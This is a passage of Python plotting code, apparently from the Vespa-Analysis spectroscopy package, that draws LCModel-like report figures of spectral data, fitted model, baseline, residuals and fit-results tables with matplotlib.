yfit.shape = 1,yfit.shape[0] # case for 1 metabolite init value
if len(yfind.shape) == 1:
yfind.shape = 1,yfind.shape[0] # case for 1 metabolite fitted value
if fixphase:
x,y,z = voxel
ph0 = -block.fit_results[nmet*2+2,x,y,z]
ph1 = -block.fit_results[nmet*2+3,x,y,z]
piv = (dim0/2.0) - (dataset.frequency*(dataset.phase_1_pivot - dataset.resppm)/(dataset.sw/dim0))
arr1 = (np.arange(dim0) - piv)/dim0
ph0 = ph0 * DTOR
ph1 = ph1 * DTOR * arr1
phase = np.exp(1j * (ph0 + ph1))
freq *= phase
base *= phase
yfit *= phase
yfits *= phase
yini *= phase
yfind *= phase
# Calculate full xaxis values
xvals = [dataset.pts2ppm(val) for val in range(dim0)]
minppm, maxppm = xvals[-1], xvals[0]
# Calculate xaxis range to plot, create tics
minplot = minplot if minplot >= minppm else minppm
maxplot = maxplot if maxplot <= maxppm else maxppm
imin = int(dataset.ppm2pts(maxplot))
imax = int(dataset.ppm2pts(minplot))
tmin = np.round((minplot+0.5)) # integer ppm just above minppm
tmax = np.round((maxplot-0.5)) # integer ppm just under maxppm
xtick_range = np.arange(tmin, tmax+1, 1.0)
xvals = xvals[imin:imax] # trim to plot width
all_figs = []
fig = lcm_like(dataset,
viffpath=viffpath,
vespa_version=vespa_version,
timestamp=timestamp,
fontname=fontname,
minplot=minplot,
maxplot=maxplot,
nobase=nobase,
extfig=extfig,
fixphase=fixphase,
verbose=verbose,
debug=debug,
quantvals=quantvals)
all_figs.append(fig[0])
for i in range(yfind.shape[0] + 1):
# Create the figure
fig = mpl.figure.Figure(figsize=(11,8.5), facecolor='white')
# A canvas must be manually attached to the figure (pyplot would automatically
# do it). This is done by instantiating the canvas with the figure as
# argument.
canvas = FigureCanvasAgg(fig)
fig.subplots_adjust(hspace=0.001)
nullfmt = NullFormatter() # used to suppress labels on an axis
local_grey = (10./255.,10./255.,10./255.) # used to tweak font color locally
# Layout for an LCModel-like single metabolite fit
rect = [0.06, 0.07, 0.89, 0.8] # set up for 8.5x11 landscape printout
# Data, Fit+Baseline, Residual Plot ------------------------------------------------
fre = freq[imin:imax].real
sum = yfits[imin:imax].real
bas = base[imin:imax].real
dat = fre - bas
fit = sum + bas
rsd = fre - fit
yin = yini[:,imin:imax].real
yfi = yfind[:,imin:imax].real
if i == 0: # general plot
plt1 = fre
plt2 = fit
plt3 = rsd
lbl = 'Data, Fit+Base, Resid'
middle = "Fitted - Full Model (Phase0/1 Corrected)" if fixphase else "Fitted - Full Model"
else:
plt1 = fre
plt2 = yfi[i-1,:]
plt3 = None
lbl = 'Data, Indiv Metab Fit'
if fixphase:
middle = "Fitted - %s (Phase0/1 Corrected)" % (prior_list[i-1], )
else:
middle = "Fitted - %s" % (prior_list[i-1],)
msg1 = _pretty_space_text("Vespa-Analysis Version: %s" % (vespa_version, ), middle, "Processing Timestamp: %s" % (timestamp, ))
fre_min, fre_max = min(fre),max(fre)
delt = (fre_max - fre_min)*0.05
fre_min, fre_max = fre_min-delt, fre_max+delt
tmp = abs(fre_max) if abs(fre_max) > abs(fre_min) else abs(fre_min) # in case spectrum flipped
fmajor = tmp/4.0
if fmajor > 2.5:
fmajor = np.round(fmajor,0)
ax = fig.add_axes(rect)
ax.plot(xvals, plt1, 'k', lw=1.0)
ax.plot(xvals, plt2, 'r', lw=1.5, alpha=0.7)
if plt3 is not None:
ax.plot(xvals, plt3, 'k', lw=1.0, alpha=0.7)
ax.set_ylabel(lbl, fontsize=8.0)
ax.set_xlabel('Chemical Shift [ppm]', fontsize=8.0)
ax.set_ylim(fre_min, fre_max)
ax.set_xlim(maxplot, minplot)
ax.ticklabel_format(axis='y', style='sci', scilimits=(-2,2))
ax.yaxis.set_major_locator(MultipleLocator(fmajor)) # this is for even distrib across plot
ax.yaxis.set_minor_locator(MultipleLocator(fmajor*0.5))
# Common Settings for both plot axes --------------------------------------
ax.xaxis.set_major_locator(MultipleLocator(1)) # this is for even distrib across plot
ax.xaxis.set_minor_locator(MultipleLocator(0.2))
ax.grid(which='major', axis='x', linewidth=0.25, linestyle='-', color='0.8')
ax.grid(which='minor', axis='x', linewidth=0.25, linestyle=(0,(18,6)), color='0.8')
ax.grid(which='major', axis='y', linewidth=0.25, linestyle=(0,(6,18)), color='0.8')
# ax.grid(which='minor', axis='y', linewidth=0.25, linestyle=':', color='0.8')
ax.xaxis.label.set_fontname(fontname)
ax.yaxis.label.set_fontname(fontname)
ax.yaxis.offsetText.set_fontname(fontname)
ax.yaxis.offsetText.set_fontsize(8.0)
for tick in ax.yaxis.get_ticklabels():
tick.set_fontsize(8.0)
tick.set_fontname(fontname)
tick.set_color(local_grey)
tick.set_weight('bold')
tick.set_rotation(90)
for tick in ax.xaxis.get_ticklabels():
tick.set_fontsize(8.0)
tick.set_fontname(fontname)
tick.set_color(local_grey)
tick.set_weight('bold') # 'normal'
fig.text(0.042, 0.94, msg1, wrap=True, horizontalalignment='left', fontsize=8, fontname=fontname)
msg2 = "Data Source : %s \nVIFF File : %s" % (data_source, viffname)
fig.text(0.042, 0.89, msg2, wrap=True, horizontalalignment='left', color=local_grey, fontsize=8, fontname=fontname)
# msg2 = u"VIFF File : %s \nData Source : %s" % (viffname, data_source)
# fig.figtext(0.042, 0.89, msg2, wrap=True, horizontalalignment='left', color=local_grey, fontsize=10, fontname=fontname)
fig.canvas.draw()
all_figs.append(fig)
return all_figs
def analysis_plot2( dataset,
viffpath='',
vespa_version='',
timestamp='',
fontname='Courier New',
minplot=0.1,
maxplot=4.9,
extfig=None,
nobase=False,
fixphase=False,
verbose=False,
debug=False,
quantvals=False,
voxel=None,
dpi=None):
"""
Some typical save type formats = 'svg' 'eps' 'pdf' 'png' 'raw' 'rgba' 'ps' 'pgf' etc.
Typical fontnames 'Consolas' 'Calibri' 'Courier New' 'Times New Roman'
minplot and maxplot are in PPM
"""
# Print Control Setting ----------------------
viffname = os.path.basename(viffpath) if viffpath else 'none'
if vespa_version == '':
vespa_version = util_misc.get_vespa_version() + ' (runtime)'
if timestamp == '':
timestamp = util_time.now().isoformat()
table_call = dataset.fit_results_in_table
if quantvals:
if 'quant' in list(dataset.blocks.keys()):
table_call = dataset.quant_results_in_table
else:
quantvals = False
if voxel is None:
voxel = dataset.all_voxels[0]
data_source = dataset.blocks["raw"].get_data_source(voxel)
dim0, dim1, dim2, dim3 = dataset.spectral_dims
# Process 'fit' block to get results --------------------------------------
key = 'fit'
nmet = 1
if key in list(dataset.blocks.keys()):
block = dataset.blocks[key]
results = block.chain.run([voxel,], entry='output_refresh')
nmet = block.chain.nmet
lw = results['fitted_lw']
lwmin = results['minmaxlw'][0]
lwmax = results['minmaxlw'][1]
fit_data, nsect = table_call(voxel,
lw=lw,
lwmin=lwmin,
lwmax=lwmax,
fixphase=fixphase,
nozeros=False,
noppm=False)
nfitcol = len(fit_data[0])
else:
msg = r"This dataset has no 'fit' block, returning."
raise ValueError(msg)
# Gather Data -------------------------------------------------------------
freq = results['data'].copy()
base = results['fit_baseline'].copy()
yfit = results['yfit'].copy()
yfits = results['yfit'].copy() if len(yfit.shape)==1 else np.sum(yfit, axis=0)
if len(yfit.shape) == 1:
yfit.shape = 1,yfit.shape[0]
if fixphase:
x,y,z = voxel
ph0 = -block.fit_results[nmet*2+2,x,y,z]
ph1 = -block.fit_results[nmet*2+3,x,y,z]
piv = (dim0/2.0) - (dataset.frequency*(dataset.phase_1_pivot - dataset.resppm)/(dataset.sw/dim0))
arr1 = (np.arange(dim0) - piv)/dim0
ph0 = ph0 * DTOR
ph1 = ph1 * DTOR * arr1
phase = np.exp(1j * (ph0 + ph1))
freq *= phase
base *= phase
yfits *= phase
# Calculate full xaxis values
xvals = [dataset.pts2ppm(val) for val in range(dim0)]
minppm, maxppm = xvals[-1], xvals[0]
# Calculate xaxis range to plot, create tics
minplot = minplot if minplot >= minppm else minppm
maxplot = maxplot if maxplot <= maxppm else maxppm
imin = int(dataset.ppm2pts(maxplot))
imax = int(dataset.ppm2pts(minplot))
tmin = np.round((minplot+0.5)) # integer ppm just above minppm
tmax = np.round((maxplot-0.5)) # integer ppm just under maxppm
xtick_range = np.arange(tmin, tmax+1, 1.0)
xvals = xvals[imin:imax] # trim to plot width
# Create the figure
if extfig is None:
fig = mpl.figure.Figure(figsize=(11,8.5), facecolor='white')
# A canvas must be manually attached to the figure (pyplot would automatically
# do it). This is done by instantiating the canvas with the figure as
# argument.
canvas = FigureCanvasAgg(fig)
else:
fig = extfig
fig.subplots_adjust(hspace=0.001)
nullfmt = NullFormatter() # used to suppress labels on an axis
local_grey = (10./255.,10./255.,10./255.) # used to tweak font color locally
# Layout for an LCModel-like landscape report
left, bottom = 0.02, 0.07 # set up for 8.5x11 landscape printout
w1, w2 = 0.45, 0.45
h1, h2 = 0.40, 0.40
hpad, vpad = 0.04, 0.001
rect1 = [left+w1+hpad, bottom, w2, h1] # xmin, ymin, dx, and dy
rect2 = [left+w1+hpad, bottom+h1, w2, h1]
rect4 = [left, bottom, w1, h1+h2+0.015]
fsiz4 = 7.0
# Data, Fit, Baseline Plot ------------------------------------------------
dat2 = freq[imin:imax].real
dat2b = (yfits+base)[imin:imax].real
dat2c = base[imin:imax].real
min2, max2 = min(dat2),max(dat2)
delt2 = (max2 - min2)*0.05
min2, max2 = min2-delt2, max2+delt2
tmp = abs(max2) if abs(max2) > abs(min2) else abs(min2) # in case spectrum flipped
major2 = tmp/4.0
if major2 > 2.5:
major2 = np.round(major2,0)
ax2 = fig.add_axes(rect2)
ax2.xaxis.set_major_formatter(nullfmt) # no x labels, have to go before plot()
ax2.plot(xvals, dat2, 'k')
ax2.plot(xvals, dat2b, 'g', alpha=0.7)
if not nobase:
ax2.plot(xvals, dat2c, 'm')
lbl = 'Spectral Data, Fit, Baseline'
if nobase:
lbl = 'Spectral Data, Fitted Model'
ax2.set_ylabel(lbl, fontsize=8.0)
ax2.set_ylim(min2, max2)
ax2.set_xlim(maxplot, minplot)
ax2.ticklabel_format(axis='y', style='sci', scilimits=(-2,2))
ax2.yaxis.set_major_locator(MultipleLocator(major2)) # this is for even distrib across plot
ax2.yaxis.set_minor_locator(MultipleLocator(major2*0.5))
# TODO bjs - from brp512 layout
# ax0.yaxis.set_major_locator(MaxNLocator(nbins=4, prune='upper', integer=True, min_n_ticks=3))
# ax0.yaxis.set_minor_locator(AutoMinorLocator(2))
# Noise Residual Plot -----------------------------------------------------
dat1 = (freq - yfits - base)[imin:imax].real
min1, max1 = min(dat1),max(dat1)
delt1 = (max1 - min1)*0.75
min1, max1 = min1 - delt1, max1 + delt1
ax1 = fig.add_axes(rect1)
ax1.plot(xvals, dat1, 'k')
ax1.set_ylabel('Residual', fontsize=8.0)
ax1.set_xlabel('Chemical Shift [ppm]', fontsize=8.0)
ax1.set_xlim(maxplot, minplot)
ax1.set_ylim(min2, max2)
ax1.ticklabel_format(axis='y', style='sci', scilimits=(-2,2))
ax1.yaxis.set_major_locator(MultipleLocator(major2)) # this is for even distrib across plot
ax1.yaxis.set_minor_locator(MultipleLocator(major2*0.5))
# Common Settings for both plot axes --------------------------------------
for ax in [ax1,ax2]:
ax.xaxis.set_major_locator(MultipleLocator(1)) # this is for even distrib across plot
ax.xaxis.set_minor_locator(MultipleLocator(0.2))
ax.grid(which='major', axis='x', linewidth=0.50, linestyle='-', color='0.75')
ax.grid(which='minor', axis='x', linewidth=0.25, linestyle=':', color='0.75')
ax.grid(which='major', axis='y', linewidth=0.25, linestyle=':', color='0.75')
ax.grid(which='minor', axis='y', linewidth=0.25, linestyle=':', color='0.75')
# Table Setup -------------------------------------------------------------
ax4 = fig.add_axes(rect4)
ax4.xaxis.set_major_formatter(nullfmt) # turn off axis markers
ax4.yaxis.set_major_formatter(nullfmt)
ax4.axis('off')
the_table = ax4.table(cellText=fit_data, cellLoc='left',
colLoc='left', colLabels=None, colWidths=None,
rowLoc='center', rowLabels=None,
fontsize=fsiz4, loc='upper center')
the_table.auto_set_font_size(False)
the_table.set_fontsize(fsiz4)
for item in range(len(fit_data[0])):
the_table.auto_set_column_width(item) # mpl bug requires that each col be added individually
table_props = the_table.properties()
cheight = table_props['children'][0].get_height() # all start with same default
keys = list(table_props['celld'].keys())
for key in keys: # use cell dict to test grid location for line settings
cell = table_props['celld'][key]
cell.set_height(1.0*cheight)
cell.get_text().set_fontname(fontname)
if key[0] in nsect: # this is a header cell
if key[1] == 0: # - leftmost
cell.visible_edges = 'BLT'
elif key[1] == nfitcol-1: # - rightmost
cell.visible_edges = 'BRT'
else:
cell.visible_edges = 'BT'
cell.set_linewidth(1.0)
cell.set_linestyle('-')
cell.get_text().set_fontweight('bold')
else: # not a header cell
if key[1] == 0: # - leftmost
cell.visible_edges = 'L'
if key[0] == len(fit_data)-1:
cell.visible_edges = 'BL'
elif key[1] == nfitcol-1: # - rightmost
cell.visible_edges = 'R'
if key[0] == len(fit_data)-1:
cell.visible_edges = 'BR'
else:
cell.visible_edges = ''
if key[0] == len(fit_data)-1: # last line in table
cell.visible_edges = 'B'
cell.set_linewidth(0.25)
cell.set_linestyle('-')
# Retrieve an element of a plot and set properties
for tick in ax1.xaxis.get_ticklabels():
tick.set_fontsize(8.0)
tick.set_fontname(fontname)
tick.set_color(local_grey)
tick.set_weight('bold') # 'normal'
for ax in [ax1,ax2]:
ax.xaxis.label.set_fontname(fontname)
ax.yaxis.label.set_fontname(fontname)
ax.yaxis.offsetText.set_fontname(fontname)
ax.yaxis.offsetText.set_fontsize(8.0)
for tick in ax.yaxis.get_ticklabels():
tick.set_fontsize(8.0)
tick.set_fontname(fontname)
tick.set_color(local_grey)
tick.set_weight('bold')
tick.set_rotation(90)
middle = "'Fit' Tab Results (Phase0/1 Corrected)" if fixphase else "'Fit' Tab Results"
msg1 = _pretty_space_text("Vespa-Analysis Version: %s" % (vespa_version, ), middle, "Processing Timestamp: %s" % (timestamp, ))
fig.text(0.042, 0.94, msg1,
wrap=True,
horizontalalignment='left',
fontsize=8,
fontname=fontname)
msg = "Data Source : %s \nVIFF File : %s" % (data_source, viffname )
fig.text(0.042, 0.89, msg,
wrap=True,
horizontalalignment='left',
color=local_grey,
fontsize=8,
fontname=fontname)
# msg = u"VIFF File : %s \nData Source : %s" % (viffname, data_source)
# fig.figtext(0.042, 0.89, msg,
# wrap=True,
# horizontalalignment='left',
# color=local_grey,
# fontsize=10,
# fontname=fontname)
fig.canvas.draw()
return [fig, ]
def analysis_plot4( dataset,
viffpath='',
vespa_version='',
timestamp='',
fontname='Courier New',
minplot=0.1,
maxplot=4.9,
nobase=False,
extfig=None,
fixphase=False,
verbose=False,
debug=False,
quantvals=False,
voxel=None,
dpi=None):
"""
Some typical save type formats = 'svg' 'eps' 'pdf' 'png' 'raw' 'rgba' 'ps' 'pgf' etc.
Typical fontnames 'Consolas' 'Calibri' 'Courier New' 'Times New Roman'
minplot and maxplot are in PPM
"""
# Print Control Setting ----------------------
viffname = os.path.basename(viffpath) if viffpath else 'none'
if vespa_version == '':
vespa_version = util_misc.get_vespa_version() + ' (runtime)'
if timestamp == '':
timestamp = util_time.now().isoformat()
table_call = dataset.fit_results_in_table
if quantvals:
if 'quant' in list(dataset.blocks.keys()):
table_call = dataset.quant_results_in_table
else:
quantvals = False
if voxel is None:
voxel = dataset.all_voxels[0]
data_source = dataset.blocks["raw"].get_data_source(voxel)
dim0, dim1, dim2, dim3 = dataset.spectral_dims
# Process 'fit' block to get results --------------------------------------
key = 'fit'
nmet = 1
if key in list(dataset.blocks.keys()):
block = dataset.blocks[key]
results = block.chain.run([voxel,], entry='output_refresh')
nmet = block.chain.nmet
lw = results['fitted_lw']
lwmin = results['minmaxlw'][0]
lwmax = results['minmaxlw'][1]
fit_data, nsect = table_call(voxel,
lw=lw,
lwmin=lwmin,
lwmax=lwmax,
fixphase=fixphase,
nozeros=False,
noppm=False)
nfitcol = len(fit_data[0])
else:
msg = r"This dataset has no 'fit' block, returning."
raise ValueError(msg)
# Gather Data -------------------------------------------------------------
freq = results['data'].copy()
base = results['fit_baseline'].copy()
yfit = results['yfit'].copy()
yfits = results['yfit'].copy() if len(yfit.shape)==1 else np.sum(yfit, axis=0)
if len(yfit.shape) == 1:
yfit.shape = 1,yfit.shape[0]
if fixphase:
x,y,z = voxel
ph0 = -block.fit_results[nmet*2+2,x,y,z]
ph1 = -block.fit_results[nmet*2+3,x,y,z]
piv = (dim0/2.0) - (dataset.frequency*(dataset.phase_1_pivot - dataset.resppm)/(dataset.sw/dim0))
arr1 = (np.arange(dim0) - piv)/dim0
ph0 = ph0 * DTOR
ph1 = ph1 * DTOR * arr1
phase = np.exp(1j * (ph0 + ph1))
freq *= phase
base *= phase
yfits *= phase
# Calculate full xaxis values
xvals = [dataset.pts2ppm(val) for val in range(dim0)]
minppm, maxppm = xvals[-1], xvals[0]
# Calculate xaxis range to plot, create tics
minplot = minplot if minplot >= minppm else minppm
maxplot = maxplot if maxplot <= maxppm else maxppm
imin = int(dataset.ppm2pts(maxplot))
imax = int(dataset.ppm2pts(minplot))
tmin = np.round((minplot+0.5)) # integer ppm just above minppm
tmax = np.round((maxplot-0.5)) # integer ppm just under maxppm
xtick_range = np.arange(tmin, tmax+1, 1.0)
xvals = xvals[imin:imax] # trim to plot width
# Create the figure
if extfig is None:
fig = mpl.figure.Figure(figsize=(11,8.5), facecolor='white')
# A canvas must be manually attached to the figure (pyplot would automatically
# do it). This is done by instantiating the canvas with the figure as
# argument.
canvas = FigureCanvasAgg(fig)
else:
fig = extfig
fig.subplots_adjust(hspace=0.001)
nullfmt = NullFormatter() # used to suppress labels on an axis
local_grey = (10./255.,10./255.,10./255.) # used to tweak font color locally
# Layout for an LCModel-like landscape report
left, bottom = 0.02, 0.07 # set up for 8.5x11 landscape printout
w1, w2 = 0.45, 0.45
h0, h1, h2, h3 = 0.20, 0.20, 0.20, 0.20
hpad, vpad = 0.04, 0.001
rect0 = [left+w1+hpad, bottom+h0+h1+h2, w2, h3] # xmin, ymin, dx, and dy
rect1 = [left+w1+hpad, bottom+h0+h1, w2, h2]
rect2 = [left+w1+hpad, bottom+h0, w2, h1]
rect3 = [left+w1+hpad, bottom, w2, h0]
rect4 = [left, bottom, w1, h0+h1+h2+h3+0.015]
fsiz4 = 7.0
# Data, Fit, Baseline Plot ------------------------------------------------
fre = freq[imin:imax].real
sum = yfits[imin:imax].real
bas = base[imin:imax].real
dat = fre - bas
fit = sum + bas
rsd = fre - fit
fre_min, fre_max = min(fre),max(fre)
delt = (fre_max - fre_min)*0.05
fre_min, fre_max = fre_min-delt, fre_max+delt
tmp = abs(fre_max) if abs(fre_max) > abs(fre_min) else abs(fre_min) # in case spectrum flipped
fmajor = tmp/4.0
if fmajor > 2.5:
fmajor = np.round(fmajor,0)
ax0 = fig.add_axes(rect0)
ax0.xaxis.set_major_formatter(nullfmt) # no x labels, have to go before plot()
ax0.plot(xvals, fre, 'k')
ax0.plot(xvals, fit, 'g', alpha=0.7)
lbl = 'Data and Fit'
ax0.set_ylabel(lbl, fontsize=8.0)
ax0.set_ylim(fre_min, fre_max)
ax0.set_xlim(maxplot, minplot)
ax0.ticklabel_format(axis='y', style='sci', scilimits=(-2,2))
ax0.yaxis.set_major_locator(MultipleLocator(fmajor)) # this is for even distrib across plot
ax0.yaxis.set_minor_locator(MultipleLocator(fmajor*0.5))
# TODO bjs - from brp512 layout
# ax0.yaxis.set_major_locator(MaxNLocator(nbins=4, prune='upper', integer=True, min_n_ticks=3))
# ax0.yaxis.set_minor_locator(AutoMinorLocator(2))
# Data, baseline ----------------------------------------------------------
ax1 = fig.add_axes(rect1)
ax1.plot(xvals, fre, 'k')
ax1.plot(xvals, bas, 'm')
lbl = 'Data and Base'
ax1.set_ylabel(lbl, fontsize=8.0)
ax1.set_ylim(fre_min, fre_max)
ax1.set_xlim(maxplot, minplot)
ax1.ticklabel_format(axis='y', style='sci', scilimits=(-2,2))
ax1.yaxis.set_major_locator(MultipleLocator(fmajor)) # this is for even distrib across plot
ax1.yaxis.set_minor_locator(MultipleLocator(fmajor*0.5))
# Data-Base, Summed Peaks -------------------------------------------------
ax2 = fig.add_axes(rect2)
ax2.plot(xvals, dat, 'k')
ax2.plot(xvals, sum, 'g')
lbl = 'Data-Base and Sum Fit'
ax2.set_ylabel(lbl, fontsize=8.0)
ax2.set_ylim(fre_min, fre_max)
ax2.set_xlim(maxplot, minplot)
ax2.ticklabel_format(axis='y', style='sci', scilimits=(-2,2))
ax2.yaxis.set_major_locator(MultipleLocator(fmajor)) # this is for even distrib across plot
ax2.yaxis.set_minor_locator(MultipleLocator(fmajor*0.5))
# Noise Residual Plot -----------------------------------------------------
ax3 = fig.add_axes(rect3)
ax3.plot(xvals, rsd, 'k')
lbl = 'Residual'
ax3.set_ylabel(lbl, fontsize=8.0)
ax3.set_xlabel('Chemical Shift [ppm]', fontsize=8.0)
ax3.set_ylim(fre_min, fre_max)
ax3.set_xlim(maxplot, minplot)
ax3.ticklabel_format(axis='y', style='sci', scilimits=(-2,2))
ax3.yaxis.set_major_locator(MultipleLocator(fmajor)) # this is for even distrib across plot
ax3.yaxis.set_minor_locator(MultipleLocator(fmajor*0.5))
# Common Settings for both plot axes --------------------------------------
for ax in [ax0,ax1,ax2,ax3]:
ax.xaxis.set_major_locator(MultipleLocator(1)) # this is for even distrib across plot
ax.xaxis.set_minor_locator(MultipleLocator(0.2))
ax.grid(which='major', axis='x', linewidth=0.50, linestyle='-', color='0.75')
ax.grid(which='minor', axis='x', linewidth=0.25, linestyle=':', color='0.75')
ax.grid(which='major', axis='y', linewidth=0.25, linestyle=':', color='0.75')
ax.grid(which='minor', axis='y', linewidth=0.25, linestyle=':', color='0.75')
# Table Setup -------------------------------------------------------------
ax4 = fig.add_axes(rect4)
ax4.xaxis.set_major_formatter(nullfmt) # turn off axis markers
ax4.yaxis.set_major_formatter(nullfmt)
ax4.axis('off')
the_table = ax4.table(cellText=fit_data, cellLoc='left',
colLoc='left', colLabels=None, colWidths=None,
rowLoc='center', rowLabels=None,
fontsize=fsiz4, loc='upper center')
the_table.auto_set_font_size(False)
the_table.set_fontsize(fsiz4)
for item in range(len(fit_data[0])):
the_table.auto_set_column_width(item) # mpl bug requires that each col be added individually
table_props = the_table.properties()
cheight = table_props['children'][0].get_height() # all start with same default
keys = list(table_props['celld'].keys())
for key in keys: # use cell dict to test grid location for line settings
cell = table_props['celld'][key]
cell.set_height(1.0*cheight)
cell.get_text().set_fontname(fontname)
if key[0] in nsect: # this is a header cell
if key[1] == 0: # - leftmost
cell.visible_edges = 'BLT'
elif key[1] == nfitcol-1: # - rightmost
cell.visible_edges = 'BRT'
else:
cell.visible_edges = 'BT'
cell.set_linewidth(1.0)
cell.set_linestyle('-')
cell.get_text().set_fontweight('bold')
else: # not a header cell
if key[1] == 0: # - leftmost
cell.visible_edges = 'L'
if key[0] == len(fit_data)-1:
cell.visible_edges = 'BL'
elif key[1] == nfitcol-1: # - rightmost
cell.visible_edges = 'R'
if key[0] == len(fit_data)-1:
cell.visible_edges = 'BR'
else:
cell.visible_edges = ''
if key[0] == len(fit_data)-1: # last line in table
cell.visible_edges = 'B'
cell.set_linewidth(0.25)
cell.set_linestyle('-')
# Retrieve an element of a plot and set properties
for tick in ax3.xaxis.get_ticklabels():
tick.set_fontsize(8.0)
tick.set_fontname(fontname)
tick.set_color(local_grey)
tick.set_weight('bold') # 'normal'
for ax in [ax0,ax1,ax2,ax3]:
ax.xaxis.label.set_fontname(fontname)
ax.yaxis.label.set_fontname(fontname)
ax.yaxis.offsetText.set_fontname(fontname)
ax.yaxis.offsetText.set_fontsize(8.0)
for tick in ax.yaxis.get_ticklabels():
tick.set_fontsize(8.0)
tick.set_fontname(fontname)
tick.set_color(local_grey)
tick.set_weight('bold')
tick.set_rotation(90)
middle = "'Fit' Tab Results (Phase0/1 Corrected)" if fixphase else "'Fit' Tab Results"
msg1 = _pretty_space_text("Vespa-Analysis Version: %s" % (vespa_version, ), middle, "Processing Timestamp: %s" % (timestamp, ))
fig.text(0.042, 0.94, msg1,
wrap=True,
horizontalalignment='left',
fontsize=8,
fontname=fontname)
msg = "Data Source : %s \nVIFF File : %s" % (data_source, viffname )
fig.text(0.042, 0.89, msg,
wrap=True,
horizontalalignment='left',
color=local_grey,
fontsize=8,
fontname=fontname)
# msg = u"VIFF File : %s \nData Source : %s" % (viffname, data_source)
# fig.figtext(0.042, 0.89, msg,
# wrap=True,
# horizontalalignment='left',
# color=local_grey,
# fontsize=10,
# fontname=fontname)
fig.canvas.draw()
return [fig, ]
def analysis_brp_generic( dataset,
viffpath='',
vespa_version='',
timestamp='',
fontname='Courier New',
minplot=0.1,
maxplot=4.9,
nobase=False,
extfig=None,
fixphase=False,
dpi=64,
verbose=False,
debug=False,
quantvals=False,
voxel=None):
"""
Some typical save type formats = 'svg' 'eps' 'pdf' 'png' 'raw' 'rgba' 'ps' 'pgf' etc.
Typical fontnames 'Consolas' 'Calibri' 'Courier New' 'Times New Roman'
minplot and maxplot are in PPM
NB. This method sets the Figure to 8" x 8", when we save it to a file
(usually outside this method) we can choose a DPI setting that will
give us the correct overall pixel resolution. For instance, a dpi=64
will result in a 512x512 image, dpi=128 -> 1024x1024 image.
"""
# Print Control Setting ----------------------
viffname = os.path.basename(viffpath) if viffpath else 'none'
if vespa_version == '':
vespa_version = util_misc.get_vespa_version() + ' (runtime)'
if timestamp == '':
timestamp = util_time.now().isoformat()
if voxel is None:
voxel = dataset.all_voxels[0]
data_source = dataset.blocks["raw"].get_data_source(voxel)
dim0, dim1, dim2, dim3 = dataset.spectral_dims
# Process 'fit' block to get results --------------------------------------
key = 'fit'
nmet = 1
if key in list(dataset.blocks.keys()):
block = dataset.blocks[key]
results = block.chain.run([voxel,], entry='output_refresh')
nmet = block.chain.nmet
lw = results['fitted_lw']
lwmin = results['minmaxlw'][0]
lwmax = results['minmaxlw'][1]
fit_data, nsect = dataset.fit_results_in_table(voxel, lw=lw,
lwmin=lwmin,
lwmax=lwmax,
fixphase=fixphase,
nozeros=False,
noppm=False,
no_conf=True,
short_form=True,
places=4, pad=0)
nfitcol = len(fit_data[0])
else:
msg = r"This dataset has no 'fit' block, returning."
raise ValueError(msg)
# Gather Data -------------------------------------------------------------
freq = results['data'].copy()
base = results['fit_baseline'].copy()
yfit = results['yfit'].copy()
yfits = results['yfit'].copy() if len(yfit.shape)==1 else np.sum(yfit, axis=0)
if len(yfit.shape) == 1:
yfit.shape = 1,yfit.shape[0]
if fixphase:
x,y,z = voxel
ph0 = -block.fit_results[nmet*2+2,x,y,z]
ph1 = -block.fit_results[nmet*2+3,x,y,z]
piv = (dim0/2.0) - (dataset.frequency*(dataset.phase_1_pivot - dataset.resppm)/(dataset.sw/dim0))
arr1 = (np.arange(dim0) - piv)/dim0
ph0 = ph0 * DTOR
ph1 = ph1 * DTOR * arr1
phase = np.exp(1j * (ph0 + ph1))
freq *= phase
base *= phase
yfits *= phase
# Calculate full xaxis values
xvals = [dataset.pts2ppm(val) for val in range(dim0)]
minppm, maxppm = xvals[-1], xvals[0]
# Calculate xaxis range to plot, create tics
minplot = minplot if minplot >= minppm else minppm
maxplot = maxplot if maxplot <= maxppm else maxppm
imin = int(dataset.ppm2pts(maxplot))
imax = int(dataset.ppm2pts(minplot))
tmin = np.round((minplot+0.5)) # integer ppm just above minppm
tmax = np.round((maxplot-0.5)) # integer ppm just under maxppm
xtick_range = np.arange(tmin, tmax+1, 1.0)
xvals = xvals[imin:imax] # trim to plot width
# Create the figure
if extfig is None:
# dpi is now set outside this method to allow for different overall
# pixel resolution in the final image
fig = mpl.figure.Figure(figsize=(8,8), facecolor='white')
# A canvas must be manually attached to the figure (pyplot would automatically
# do it). This is done by instantiating the canvas with the figure as
# argument.
canvas = FigureCanvasAgg(fig)
else:
fig = extfig
fig.subplots_adjust(hspace=0.001)
nullfmt = NullFormatter() # used to suppress labels on an axis
#local_grey = (10./255.,10./255.,10./255.) # used to tweak font color locally
local_grey = 'black' # used to tweak font color locally
# Layout for an LCModel-like landscape report
left, bottom = 0.005, 0.05 # set up for 8.5x11 landscape printout
w1, w2 = 0.51, 0.43
h0, h1, h2, h3 = 0.215, 0.215, 0.215, 0.215
hpad, vpad = 0.04, 0.001
rect0 = [left+w1+hpad, bottom+h0+h1+h2, w2, h3] # xmin, ymin, dx, and dy
rect1 = [left+w1+hpad, bottom+h0+h1, w2, h2]
rect2 = [left+w1+hpad, bottom+h0, w2, h1]
rect3 = [left+w1+hpad, bottom, w2, h0]
rect4 = [left, bottom, w1, h0+h1+h2+h3+0.015]
fsiz4 = 9.0
# Data, Fit, Baseline Plot ------------------------------------------------
fre = freq[imin:imax].real
sum = yfits[imin:imax].real
bas = base[imin:imax].real
dat = fre - bas
fit = sum + bas
rsd = fre - fit
fre_min, fre_max = min(fre),max(fre)
delt = (fre_max - fre_min)*0.05
fre_min, fre_max = fre_min-delt, fre_max+delt
# tmp = abs(fre_max) if abs(fre_max) > abs(fre_min) else abs(fre_min) # in case spectrum flipped
# fmajor = tmp/4.0
# if fmajor > 2.5:
# fmajor = np.round(fmajor,0)
ax0 = fig.add_axes(rect0)
ax0.xaxis.set_major_formatter(nullfmt) # no x labels, have to go before plot()
ax0.plot(xvals, fre, 'k')
ax0.plot(xvals, fit, 'g', alpha=0.7)
lbl = 'Data and Fit'
ax0.set_ylabel(lbl, fontsize=fsiz4)
ax0.set_ylim(fre_min, fre_max)
ax0.set_xlim(maxplot, minplot)
ax0.ticklabel_format(axis='y', style='sci', scilimits=(-2,2))
ax0.yaxis.set_major_locator(MaxNLocator(nbins=4, prune='upper', integer=True, min_n_ticks=3))
ax0.yaxis.set_minor_locator(AutoMinorLocator(2))
